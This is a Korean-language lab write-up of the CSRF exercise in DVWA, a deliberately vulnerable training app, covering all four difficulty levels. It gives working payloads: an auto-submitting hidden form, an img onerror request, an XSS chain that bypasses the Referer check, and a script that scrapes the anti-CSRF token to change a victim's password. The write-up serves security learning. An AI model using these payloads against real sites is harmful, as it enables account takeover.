Index
CSRF
CSRF 탭에는 패스워드를 변경하는 폼이 작성되어 있다. 그리고 Test Credentials로 계정의 비밀번호가 맞는지 확인할 수 있다. CSRF 공격을 통해 일반 사용자가 원치 않게 비밀번호가 수정되는 것을 실습한다.
low
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
GET으로 파라미터를 받고, password_new와 password_conf가 동일한지 체크한다. 동일하다면, UPDATE 구문으로 해당 계정의 비밀번호를 수정한다.
개발자 도구를 확인해보면, 두개의 password 타입 input태그와 서버로 보내는 submit 타입의 input 태그가 사용된 것을 확인할 수 있다.
프록시 도구를 이용하여 Change를 클릭했을 때 서버로 넘기는 데이터를 확인해보면, GET 방식 각각의 input 태그의 값을 넘기는 것을 확인할 수 있다. 만약 XSS가 발생한다면, 이 GET 방식 주소를 통해 CSRF 공격이 가능하다.
<body onload="document.low.submit();">
<form action="http://127.0.0.1/vulnerabilities/csrf/?" method="GET" name="low">
<input type="hidden" name="password_new" value="test">
<input type="hidden" name="password_conf" value="test">
<input type="hidden" name="Change" value="Change">
</form>
input 태그의 value 값을 통해 공격자가 HTML 코드를 재구성할 수 있고, 이를 열은 사용자는 password가 바뀌는 것을 확인할 수 있다.
다음 코드는 XSS 취약점이 있을 때, CSRF 공격을 수행하여 비밀번호를 test로 변경하는 태그이다.
<img src="x" onerror='this.src="http://localhost/dvwa/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change"'>
이 구문을 stored XSS 탭에서 직접 적용해볼 수 있다.
medium
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// 중간 부분 생략
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
앞선 코드와 비슷하지만, GET으로 넘어온 태그 값을 받기 전에 조건문을 한 번 더 거친다.
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
stripos 함수를 통해 HTTP Referer 값을 확인한다.
일단 정상적으로 수정이 발생할 때, 프록시로 확인한 것이다. Referer 값이 있다.
low 레벨에서 풀었던 html 파일을 던지면 Referer 헤더 값이 없다.
프록시에서 Referer 헤더를 추가해서 보내면 정상적으로 CSRF 공격이 성공한다.
만약 서버에 피싱 링크를 업로드 한다면, 서버 안에서 사용자가 클릭시 해당 URL로 요청을 보낸다. 이때, 파일이름에 서버 주소가 들어가 있다면 검증을 우회할 수 있다. 직접 한 번 해보자.
<body>
<h1>CSRF</h1>
<input type="button" name="CSRF" value="CSRF" onclick='location.href="http://127.0.0.1/vulnerabilities/xss_r/?name=%3Cimg+src%3D%23+onerror%3D%22location.href%3D%27http%3A%2F%2F127.0.0.1%2Fvulnerabilities%2Fcsrf%2F%3Fpassword_new%3Dtest12%26password_conf%3Dtest12%26Change%3DChange%23%27%3B%22%3E#";'>
</body>
위 코드와 Reflected XSS 탭을 이용하여 CSRF 공격 시나리오를 직접 적용시켜볼 것이다.
해당 HTML 코드는 이렇게 나타난다. 이제 이 버튼을 클릭하면 Reflected XSS 탭의 취약점을 발생시키고, 이때 img 태그의 onerror에 CSRF 탭에 공격 구문을 삽입하면 된다. 그러면 referer는 http://127.0.0.1/vulnerabilities/xss_r 이 들어가면서 referer 검증을 우회할 수 있다.
1번 패킷
위 사진은 Reflected XSS 탭에 스크립트 구문을 삽입하는 모습이다. 현재는 referer가 없는 상태이다.
2번 패킷
방금 전과 같은 데이터를 담고 있지만, referer가 추가된 것을 볼 수 있다.
3번 패킷
앞서 발생한 XSS로 인해 CSRF 공격 패킷을 보낸다. 이때, referer는 xss_r 탭이 들어가면서 referer 검증이 우회된다.
high
<?php
$change = false;
$request_type = "html";
$return_message = "Request Failed";
if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
$data = json_decode(file_get_contents('php://input'), true);
$request_type = "json";
if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
array_key_exists("password_new", $data) &&
array_key_exists("password_conf", $data) &&
array_key_exists("Change", $data)) {
$token = $_SERVER['HTTP_USER_TOKEN'];
$pass_new = $data["password_new"];
$pass_conf = $data["password_conf"];
$change = true;
}
} else {
if (array_key_exists("user_token", $_REQUEST) &&
array_key_exists("password_new", $_REQUEST) &&
array_key_exists("password_conf", $_REQUEST) &&
array_key_exists("Change", $_REQUEST)) {
$token = $_REQUEST["user_token"];
$pass_new = $_REQUEST["password_new"];
$pass_conf = $_REQUEST["password_conf"];
$change = true;
}
}
if ($change) {
// Check Anti-CSRF token
checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );
// Feedback for the user
$return_message = "Password Changed.";
}
else {
// Issue with passwords matching
$return_message = "Passwords did not match.";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
if ($request_type == "json") {
generateSessionToken();
header ("Content-Type: application/json");
print json_encode (array("Message" =>$return_message));
exit;
} else {
echo "<pre>" . $return_message . "</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
checkToken 이라는 함수가 보이고, 이는 서버의 세션 토큰과 클라이언트의 세션 토큰을 비교하는 것으로 보인다.
HTML 코드를 확인하면 hidden 타입의 input 태그가 존재하고, 이를 서버에 넘겨서 같은지 검증하는 것이다.
http://127.0.0.1/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change&user_token=d1bdf3fd01a42a0038a13a667cd4b5ba#
만약 정상적으로 test로 비밀번호 변경을 수행하면, 위와 같이 URL 값이 구성된다. 뒤에 부분을 확인하면 user_token 값이 넘어가는 것을 확인할 수 있다. 하지만 이 값은 결국 클라이언트 HTML에 나타나기 때문에, 공격자가 악성 JS 파일을 서버에 저장해두고 이를 호출하면 값을 파싱받아 token 검증을 우회할 수 있다.
var theUrl = 'http://127.0.0.1/vulnerabilities/csrf/';
var pass = 'admin';
if (window.XMLHttpRequest){
xmlhttp=new XMLHttpRequest();
}else{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.withCredentials = true;
var hacked = false;
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
var token = match[1];
var new_url = 'http://127.0.0.1/vulnerabilities/csrf/?user_token='+token+'&password_new='+pass+'&password_conf='+pass+'&Change=Change'
if(!hacked){
alert('Got token:' + match[1]);
hacked = true;
xmlhttp.open("GET", new_url, false );
xmlhttp.send();
}
count++;
}
};
xmlhttp.open("GET", theUrl, false );
xmlhttp.send();
위 코드는 XMLhttpRequest를 모듈을 이용하여 HTML 안에서 정규식을 통해 토큰값을 추출해내 CSRF 공격을 수행하는 코드이다.
[JS 파일 코드 출처]
로컬 환경이기 때문에, dvwa 최상단 경로에 csrf.js 라는 파일로 앞서 설명한 js 파일을 삽입했다.
<span id="ajaxButton" style="cursor: pointer; text-decoration: underline">
Click to change your password!
<span>
<script src="http://127.0.0.1/csrf.js"></script>
Have a nice day!
CSRF 실습을 위해 Stored XSS를 low 난이도로 DB에 위 HTML 코드를 삽입해두고, high로 전환하여 CSRF 공격이 잘 이루어지는 것을 확인할 수 있다. 해당 JS 코드에서는 비밀번호를 admin으로 수정하고, CSRF 탭의 Test Credentials에서 확인해보면 공격이 잘 먹힌 것을 확인할 수 있다.
impossible
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
password_current 파라미터를 넘겨 받는다. 공격자가 현재 비밀번호를 모른다면, 비밀번호 변경 자체가 안되기 때문에 공격이 불가능하다.
Uploaded by N2T